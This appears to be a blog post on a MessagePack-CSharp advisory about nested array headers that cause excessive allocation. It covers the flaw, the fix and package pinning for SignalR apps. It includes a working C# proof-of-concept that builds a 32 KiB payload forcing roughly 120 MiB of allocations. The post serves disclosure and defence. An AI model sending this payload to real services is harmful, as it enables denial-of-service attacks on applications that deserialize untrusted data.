MessagePack 3.1.9 and 2.5.303 Fix a 32 KiB Payload That Allocates 120 MiB
CVE-2026-92707: nested MessagePack array headers could reuse the same trailing bytes to pass the length check, so deserializing into object allocated thousands of times the payload size. The fix, a before/after probe, and why SignalR apps on .NET 8 through 11 RC 1 need a direct package pin.
MessagePack-CSharp shipped 3.1.9 and 2.5.303 on 2026-09-17 with a fix for GHSA-qhrr-8q5h-9q3h (CVE-2026-92707, rated medium). If you deserialize untrusted MessagePack into object, a payload of a few kilobytes can force over a hundred megabytes of allocations per request.
Why the depth limit did not save you
PrimitiveObjectFormatter, the formatter behind Deserialize<object>, reads an array header and immediately allocates new object[count]. The only guard was a sanity check in MessagePackReader.ReadArrayHeader: the declared count must not exceed the unread bytes, on the assumption that every element takes at least one byte.
The flaw is that each nested header checked against the same remaining bytes. An array32 header claiming 32,000 elements, followed by another claiming 31,995, followed by another, all pass, because none of them account for what their parents already reserved. MessagePackSecurity.UntrustedData caps the graph depth at 500, but the exception only fires after 500 arrays are already allocated and alive.
Measuring it
I built the payload directly: 600 array32 headers, each declaring as many elements as bytes remain, padded with nil to 32 KiB. The same file-based app ran against each version on SDK 10.0.302:
#:package MessagePack@3.1.8
#:property PublishAot=false
using MessagePack;
using System.Buffers.Binary;
const int headers = 600, total = 32 * 1024;
var payload = new byte[total];
for (int i = 0; i < headers; i++)
{
payload[i * 5] = 0xdd; // array32
BinaryPrimitives.WriteUInt32BigEndian(payload.AsSpan(i * 5 + 1), (uint)(total - (i + 1) * 5));
}
payload.AsSpan(headers * 5).Fill(0xc0); // nil
var options = MessagePackSerializerOptions.Standard.WithSecurity(MessagePackSecurity.UntrustedData);
long before = GC.GetTotalAllocatedBytes(precise: true);
try { MessagePackSerializer.Deserialize<object>(payload, options); }
catch (MessagePackSerializationException ex) { Console.WriteLine((ex.InnerException ?? ex).Message); }
Console.WriteLine($"{(GC.GetTotalAllocatedBytes(true) - before) / 1024.0 / 1024.0:F1} MiB");
| Version | Exception | Allocated |
|---|---|---|
| 2.5.302 | exceeds the maximum depth allowed of 500 | 120.5 MiB |
| 2.5.303 | Attempted to read past the end of the stream | 0.3 MiB |
| 3.1.8 | exceeds the maximum depth allowed of 500 | 120.5 MiB |
| 3.1.9 | Attempted to read past the end of the stream | 0.3 MiB |
The patched reader rejects the second header instead of the 501st allocation.
What the fix changes
Commit 7fd78bb replaces the per-header check with ReserveMinimumChildBytes. The reader now tracks how many bytes earlier array and map headers have committed to their children, retires that commitment as bytes are consumed, and only accepts a new header if its count fits in what is left after those commitments. The check lives in MessagePackReader, so every formatter benefits, not only object.
The release also adds more known deserialization gadgets to the default disallow list for named types (#2263, #2269).
SignalR apps need a direct pin
The advisory names ASP.NET Core SignalR with AddMessagePackProtocol() and a hub method taking object as a remote vector. Microsoft.AspNetCore.SignalR.Protocols.MessagePack 8.0.31, 9.0.20, 10.0.12, and 11.0.0-rc.1 all still depend on MessagePack 2.5.302. Until a servicing release bumps it, override the transitive version yourself:
<PackageReference Include="Microsoft.AspNetCore.SignalR.Protocols.MessagePack" Version="10.0.12" />
<PackageReference Include="MessagePack" Version="2.5.303" />
Stay on the 2.x line for SignalR, since the protocol package is compiled against the 2.x API. Once the advisory reaches NuGet’s vulnerability data, dotnet list package --vulnerable --include-transitive will flag any project still resolving 2.5.302.
Longer term, replace object parameters on hub methods and object members on DTOs with concrete types. That was the advisory’s first workaround and it removes PrimitiveObjectFormatter from the attack surface entirely. If you are choosing a binary serializer after dropping BinaryFormatter, the BinaryFormatter migration guide covers where MessagePack fits.
Comments
Sign in with GitHub to comment. Reactions and replies thread back to the comments repo.